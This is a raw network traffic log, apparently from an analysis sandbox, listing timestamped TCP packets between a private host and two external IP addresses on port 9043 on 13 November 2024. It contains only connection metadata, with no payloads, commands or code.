Nov 13, 2024 18:20:11.854985952 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.854995966 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855007887 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855019093 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855089903 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.855149984 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.855468988 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855576038 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.855592966 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855603933 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855627060 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.855926037 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.855926037 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.856079102 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856132030 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856142998 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856278896 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856291056 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856360912 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.856360912 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.856770039 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856848001 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856859922 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856889009 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.856899023 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.856911898 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856923103 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.856934071 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.857815981 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.857850075 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.857884884 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.857933044 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.857933044 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.857933044 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.858052969 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.858063936 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.858253956 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993092060 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993143082 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993212938 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993247032 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993283987 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993293047 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993293047 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993293047 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993293047 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993333101 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993367910 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993419886 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993419886 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993422031 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993472099 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993504047 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993537903 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993545055 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993585110 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993588924 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993602991 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993623018 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993655920 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993665934 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993665934 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993689060 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993737936 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.993767023 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993767023 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.993801117 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994736910 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994771957 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994805098 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994831085 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994839907 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994848967 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994878054 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994884014 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994904041 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994914055 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994946003 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994946003 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.994947910 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.994982958 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995007992 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995043039 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995069981 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995102882 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995152950 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995186090 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995218039 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995242119 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995242119 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995242119 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995242119 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995250940 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995285034 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995343924 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995343924 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995343924 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995351076 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995471954 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.995922089 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995973110 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.995978117 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996006966 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996066093 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996082067 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996082067 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996098995 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996133089 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996165037 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996212006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996212006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996212006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996222973 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.996370077 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.996371031 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997195005 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997231960 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997268915 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997291088 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997317076 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997324944 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997337103 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997366905 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997390032 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997400045 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997435093 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.997513056 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997513056 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.997513056 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.089565992 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.089596987 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.089618921 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.089705944 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.089808941 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.089924097 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.089982033 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.091049910 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.091097116 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.091172934 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.109945059 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.109982014 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110007048 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110033035 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110047102 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110066891 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110102892 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110121012 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110160112 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110179901 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110193968 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110217094 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110228062 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110234976 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110260963 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110274076 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110317945 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110455036 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110487938 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110521078 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110521078 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110548019 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110554934 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110589027 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110596895 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110598087 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110671997 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110780954 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110831976 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110882998 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110884905 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110896111 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110919952 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110927105 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.110956907 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.110992908 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111001968 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111001968 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111001968 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111077070 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111274958 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111309052 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111330032 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111360073 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111382961 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111433983 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111454010 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111468077 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111502886 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111529112 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111529112 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111537933 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111563921 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111573935 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111592054 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111608028 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111639977 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111639977 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.111947060 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.111979008 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112030029 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112030029 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112030983 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112065077 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112102985 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112118006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112118006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112153053 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112155914 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112188101 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112210989 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112221956 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112256050 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112288952 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112322092 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112329006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112329006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112329006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112329006 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112355947 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112396955 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112396955 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112880945 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112914085 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.112955093 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112955093 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.112966061 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113018990 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113053083 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113085032 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113089085 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113090038 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113090038 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113120079 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113137960 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113153934 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113187075 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.113215923 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113215923 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.113279104 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.536367893 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.536401987 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.537031889 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.537031889 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.648693085 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.648797989 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.648837090 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.648897886 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.649219036 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.760651112 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.760705948 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.760745049 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.760767937 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.760767937 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.760782957 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.760870934 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.760870934 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872344971 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872409105 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872442961 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872452021 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872474909 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872478962 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872502089 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872508049 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872536898 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872561932 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872561932 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872570038 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872647047 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.872694016 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.872694016 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996161938 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996234894 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996270895 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996285915 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996285915 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996303082 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996339083 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996342897 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996342897 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996373892 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996408939 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996412992 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996412992 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996442080 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996478081 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:12.996479034 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996479034 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:12.996539116 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095299006 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095330000 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095351934 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095349073 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095362902 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095375061 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095387936 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095396042 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095396042 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095413923 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095439911 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095762014 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095773935 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.095818996 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.095818996 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.207274914 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.207333088 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.207365990 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.207365990 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.207370043 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.207410097 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.207532883 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.207568884 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:13.207611084 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:13.207611084 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:21:01.603933096 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:01.611360073 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:01.611459017 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:01.611814022 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:01.616621017 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:03.500195026 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:03.500228882 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:03.500266075 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:03.500302076 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:03.500308990 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:03.500332117 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:03.500380993 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:03.527842045 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:03.532687902 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:04.027771950 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:04.027875900 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:04.028388023 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:21:04.033196926 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:21:05.420713902 CET	9043	49982	87.120.37.120	192.168.2.6
